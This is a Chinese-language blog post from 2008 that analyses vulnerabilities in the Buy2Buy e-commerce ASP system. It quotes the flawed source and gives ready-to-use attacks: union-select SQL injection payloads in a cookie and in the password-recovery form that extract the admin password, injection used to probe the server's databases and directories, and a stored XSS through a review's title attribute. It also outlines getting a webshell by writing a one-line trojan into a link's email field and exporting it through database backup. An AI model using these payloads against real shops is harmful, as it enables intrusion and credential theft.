百尔买电子商务系统几个漏洞的分析

    [多云 January 10, 2008 17:00 | by ]
作者:ninty
公司让到网上去找一些现成的代码。以后做网站的时候 有的话好直接抄。这一找可就吐了血了。。我只会找注入和跨站的漏洞。哪位牛人告诉我 还有什么比较常见的漏洞?

一、 注入
1. 发生在更改会员密码的时候。
代码:disuser2.asp
sub changepass()
if strUserName="" then
response.Write "<center>请先登录</center>"
response.End
end if %>
   ......中间省略 .......
<td width=50% height="25" align="right">用 户 名:</td>
<td width=50% height="25" bgcolor="#FFFFFF"><font color=#FF6600>
  <% = strUserName %></font></td>  
</tr>
  ......中间省略 .......
<%
end sub

上面的代码把strUserName变量输出了.我们来看看这个strUserName 是怎么得到的!在conn.asp里.代码如下:
Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Zx
Fy_Cl = 1  
Fy_Zx = "index.Asp"
On Error Resume Next
Fy_Url=Request.ServerVariables("QUERY_STRING")
Fy_a=split(Fy_Url,"&")
redim Fy_Cs(ubound(Fy_a))
On Error Resume Next
for Fy_x=0 to ubound(Fy_a)
Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)
Next
For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 Or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then
Select Case Fy_Cl
  Case "1"
Response.Write "<Script Language=JavaScript>alert('出现错误!参数 "&Fy_Cs(Fy_x)&" 的值中包含非法字符串!\n\n  请不要在参数中出现:;,and,select,update,insert,delete,chr 等非法字符!');window.close();</Script>"
  Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Fy_Zx&"'</Script>"
  Case "3"
Response.Write "<Script Language=JavaScript>alert(‘出现错误!参数 "&Fy_Cs(Fy_x)&"的值中包含非法字符串!\n\n  请不要在参数中出现:;,and,select,update,insert,delete,chr 等非法字符!');location.href='"&Fy_Zx&"';</Script>"
End Select
   ....中间省略 .....
strUserName = "非注册用户"
strTitle = "非注册用户"
if Request.Cookies("Buy2Buy")("username")<>"" then
set rsVip=server.CreateObject("adodb.recordset")
rsVip.open "select [User].GrpID,[User].UserID,[User].Score,[User].UserEmail,[User].Deposit,[User].UserName,b2b_userjb.GrpName,b2b_userjb.Stars from [User] Inner Join b2b_userjb On [User].GrpID = b2b_userjb.GrpID where username='"&request.Cookies("Buy2Buy")("username")&"' ",conn,1,1 ///这里直接把COOKIE里的USERNAME拼进了SQL,漏洞产生了!
   ....中间省略 .....
strUserName = rsVip("UserName")
   ....中间省略 .....
set rsVip=nothing
End If

漏洞基本上和那个网软购物系统一样.代码只对QUERT_STRING里的数据进行了关键字的检查.只对GET提交的数据进行了检查,而且检查的还不够严格!union asc() chr() 这种都没过滤的.
利用方法:
先注册一个会员。然后转到会员中心,然后打开WSE,然后再修改密码.截取发送的数据包.

Highslide JS


把username=ninty改成
Username=a'%20union%20select%20'1','1','1','1','1',userpassword,'1','1'%20from%20admin%20where%20''='

一个union查询.因为a是一个不存在的用户,这样就只会有union后面的那个select语句的结果出现在recoreset中.
strUserName = rsVip("UserName") rsVip(“UserName”)
取到的正好是userpassword列的值,赋给了strUserName.然后就被disuser2.asp输出了.改后是这样的:

Highslide JS


用NC提交一下.

Highslide JS


把结果输出到了11.html里.打开后就看到密码了.

Highslide JS


2. 在添加友情连接的时候。发生在links目录下的look.asp
按理说这个页面应该是只有管理员才能看的,因为它还有添加与删除连接的功能。不过这个文件里没有任何验证权限的代码。而且这个注入点用处不是太大。看代码:
flag=Trim(Request.QueryString("flag"))
  ....中间省略.....
id=Trim(Request.QueryString("id"))
set conn=server.createobject("ADODB.CONNECTION")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.mappath("links.mdb")
conn.open connstr
  ...中间省略....
if flag="1" then
conn.execute("update myoe_links set myoe_pass='Y' where id="&id)


很明显,id直接加到SQL里去了.不过因为友情连接用的是自己的一个数据库,所以这个注入点的用处并不大.不过在知道另一个数据库的绝对路径的时候,到是可以跨到这个数据库去查询.我在D盘放了一个数据库a.mdb。在注入点后写上查询语句:
and exists (select * from d:\a.mdb.ccc)

返回的是错误页面:

Highslide JS


说明不存在ccc这个表,改成admin呢?返回正常:

Highslide JS


说明存在admin 表,和普通的注入基本上一样.再有一个小功能就是可以探测服务器上的目录结构.不过也属于鸡肋级的....
比如:

Highslide JS


现在提示的是找不到文件,说明c:\windows目录是存在的!换一个不存在的目录试试.

Highslide JS


目录不存在的时候会提示 "不是一个有效路径".检测非MDB格式的文件是否存在:

Highslide JS


错误说不可识别的数据库,表示文件是存在的,如果不存在还是会报文件不存在的错

3. 找回密码:disuser2.asp
set rs=server.CreateObject("adodb.recordset")
rs.open "select UserQuestion,UserAnswer from [user] where username='"&trim(request.form("username"))&"' ",conn,1,1
if rs.eof and rs.bof then
response.write "<center>
查无此用户,请返回!</center>"
else
  ...中间省略....
response.Write "<font color=red>"&trim(rs("UserQuestion"))&"</font>"
end if
rs.close
set rs=nothing

不多解释了,在首页点"忘密"
然后输入a' union select userpassword,admin from admin where ''=',就看到管理员密码了.同样在更改密码的时候,username也没有过滤,也造成了可以更改任意用户的密码,不过没啥太大的有处,因为管理员表和用户表是分开的,我们不能更改管理员的密码

二、 跨站.

发生在商品评论那里.B2b_plock.asp
dim id,action
id=SafeRequest("id",1)
action=request.form("action")
if action="save" then
function HTMLEncode2(fString)
fString = Replace(fString, CHR(13), "")
fString = Replace(fString, CHR(10) & CHR(10), "</P><P>")
fString = Replace(fString, CHR(10), "
")
HTMLEncode2 = fString
end function
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from review",conn,1,3
rs.addnew
rs("id")=id
rs("title")=HTMLEncode2(trim(request.form("title")))
rs("reviewcontent")=HTMLEncode2(trim(request.form("reviewcontent")))
rs("reviewdtm")=now()
rs("audit")=0
rs("ipaddr") = Request.ServerVariables("REMOTE_ADDR")
rs.update
rs.close
set rs=nothing
response.write "
<table width=96% border=0 align=center cellpadding=0 cellspacing=0><tr><td height=86 bgcolor=#F5F5F5><div align=center>"
response.write "您的评论已成功提交!
<a href=javascript:window.close()>关闭窗口</a></div></td></tr></table>"
response.End
end if

只用HTMLEncode2函数过滤了一下chr(13) 和 chr(10) 对我们并没有什么影响。再看后台 查看商品评论的代码:
B2b_glshpl.asp
<td height="25">
<% if len(rs("reviewcontent"))>20 then
response.write "<a href=# onClick=""javascript:window.open('b2b_cm.asp?id="&rs("reviewid")&"','','width=310,height=190,toolbar=no, status=no, menubar=no, resizable=yes, scrollbars=yes');return false;"" title="&trim(rs("reviewcontent"))&">"&left(trim(rs("reviewcontent")),18)&"...</a>"
else
response.write "<a href=# onClick=""javascript:window.open('b2b_cm.asp?id="&rs("reviewid")&"','','width=310,height=190,toolbar=no, status=no, menubar=no, resizable=yes, scrollbars=yes');return false;"" title="&trim(rs("reviewcontent"))&">"&trim(rs("reviewcontent"))&"</a>"
end if%>            
</td>

只是trim了一下.没有过滤.不过这里不能直接输入
<script>alert(‘xxx’);</script>

这样的,注意代码里,对字符串进行了截取.只输出左边的18个字符.这样跨站代码就不能正确执行了.不过title属性那里的输出可是没有过滤的哦!我们就利用这一点!在首页随便找一个商品打开后,在评论的地方输入: "我靠,我对这个产品有很大的意见!!!" 写的长一点.让管理看不能一眼把所有内容全看到,这样他应该就会去点这条评论,只要鼠标移到这条评论上.跨站代码就执行了!

Highslide JS


三、拿Webshell
1. ewebeditor 后台用的是这个编辑器,而且管理员登陆页没有删~
2. 上传文件,备份数据库
3. 在添加友情连接的时候,在邮箱处写入一句话木马,到后台备份数据库,数据库地址写../links/links.mdb,就可以了 ,前提是连接的数据库路径没有改
Technology | Comments(1) | Trackbacks(0) | Reads(6759)
维思纵横 Email Homepage
January 11, 2008 00:35
不懂,路过,支持下。
Pages: 1/1 First page 1 Final page
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive